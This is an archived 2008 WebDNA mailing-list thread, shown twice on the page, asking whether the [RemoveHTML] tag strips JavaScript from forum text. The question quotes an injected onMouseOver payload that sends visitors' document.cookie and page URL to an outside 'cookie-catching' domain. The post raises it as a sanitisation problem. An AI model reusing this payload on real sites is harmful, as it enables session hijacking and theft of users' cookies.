Re: [RemoveHTML] removing JavaScript ??

This WebDNA talk-list message is from

2008


It keeps the original formatting.
numero = 70096
interpreted = N
texte = From the docs: ------------ HTML is recognized as any text which begins with "<" followed by any number of non-space characters, followed by any number of characters, followed by ">". ------------ In my experience I have found this to be true, so yes, I'd expect any to be stripped as well. -Dan On Wed, 9 Apr 2008 20:33:49 +0200 Palle Bo Nielsen wrote: > Hi all, > > I need to pop a quick question. Does the [RemoveHTML] [/RemoveHTML] syntax remove JavaScript >content as well > > I have the following code, which has left JavaScript inside the displayed code... > > [include file=greps/code.inc&raw=F&the_text=[url][RemoveHTML][lookup db=/forum/db/ >l4text.db&value=[l4_sku]&lookinfield=l4_sku&returnfield=l4_txt1][/ >RemoveHTML][/url]][convertwords db=/databases/WordConversions.db] [the_text][/convertwords] > > When the code above was executed the following was still found in the variable > > OnMouseOver="document.location='http:'+String.fromCharCode(47,47)+'www.domæne-til-at-fange-cookie.com >?url='+escape(location.href)+'&cc='+document.cookie">_ >  > Any advice is welcome... >  > > > > > Palle Bo Nielsen > (PowerPalle) > > > ------------------------------------------------------------- > This message is sent to you because you are subscribed to > the mailing list . > To unsubscribe, E-mail to: > To switch to the DIGEST mode, E-mail to > Web Archive of this list is at: http://webdna.smithmicro.com/ ------------------------------------------------------------- This message is sent to you because you are subscribed to the mailing list . To unsubscribe, E-mail to: To switch to the DIGEST mode, E-mail to Web Archive of this list is at: http://webdna.smithmicro.com/ Associated Messages, from the most recent to the oldest:

    
  1. Re: [RemoveHTML] removing JavaScript ?? ( "Dan Strong" 2008)
  2. [RemoveHTML] removing JavaScript ?? ( Palle Bo Nielsen 2008)
From the docs: ------------ HTML is recognized as any text which begins with "<" followed by any number of non-space characters, followed by any number of characters, followed by ">". ------------ In my experience I have found this to be true, so yes, I'd expect any to be stripped as well. -Dan On Wed, 9 Apr 2008 20:33:49 +0200 Palle Bo Nielsen wrote: > Hi all, > > I need to pop a quick question. Does the [removehtml] [/RemoveHTML] syntax remove JavaScript >content as well > > I have the following code, which has left JavaScript inside the displayed code... > > [include file=greps/code.inc&raw=F&the_text=[url][removehtml][lookup db=/forum/db/ >l4text.db&value=[l4_sku]&lookinfield=l4_sku&returnfield=l4_txt1][/ >RemoveHTML][/url]][convertwords db=/databases/WordConversions.db] [the_text][/convertwords] > > When the code above was executed the following was still found in the variable > > OnMouseOver="document.location='http:'+String.fromCharCode(47,47)+'www.domæne-til-at-fange-cookie.com >?url='+escape(location.href)+'&cc='+document.cookie">_ >  > Any advice is welcome... >  > > > > > Palle Bo Nielsen > (PowerPalle) > > > ------------------------------------------------------------- > This message is sent to you because you are subscribed to > the mailing list . > To unsubscribe, E-mail to: > To switch to the DIGEST mode, E-mail to > Web Archive of this list is at: http://webdna.smithmicro.com/ ------------------------------------------------------------- This message is sent to you because you are subscribed to the mailing list . To unsubscribe, E-mail to: To switch to the DIGEST mode, E-mail to Web Archive of this list is at: http://webdna.smithmicro.com/ "Dan Strong"

DOWNLOAD WEBDNA NOW!

Top Articles:

Talk List

The WebDNA community talk-list is the best place to get some help: several hundred extremely proficient programmers with an excellent knowledge of WebDNA and an excellent spirit will deliver all the tips and tricks you can imagine...

Related Readings:

select multiple (1997) WebCat2b15MacPlugIn - [authenticate] not [protect] (1997) Will webdna execute before a [redirect]? (1999) test (2006) Re[2]: 2nd WebCatalog2 Feature Request (1996) Sku numbers (1997) Note on MySQL Encrypt/Decrypt (2005) Running _every_ page through WebCat ? (1997) Runtime (1998) (1998) Problems with [Applescript] (1997) still having shipCost.db Problem (1997) Initiating NewCart (1997) SKU lookup (1997) converting tabs (1997) OUTSIDE LINKS TO SHOW SHOPPING CART????????? (1998) Emailer problems. (1998) unsubscribe me (2000) WC2.0 Memory Requirements (1997) ooops...WebCatalog [FoundItems] Problem - LONG - (1997)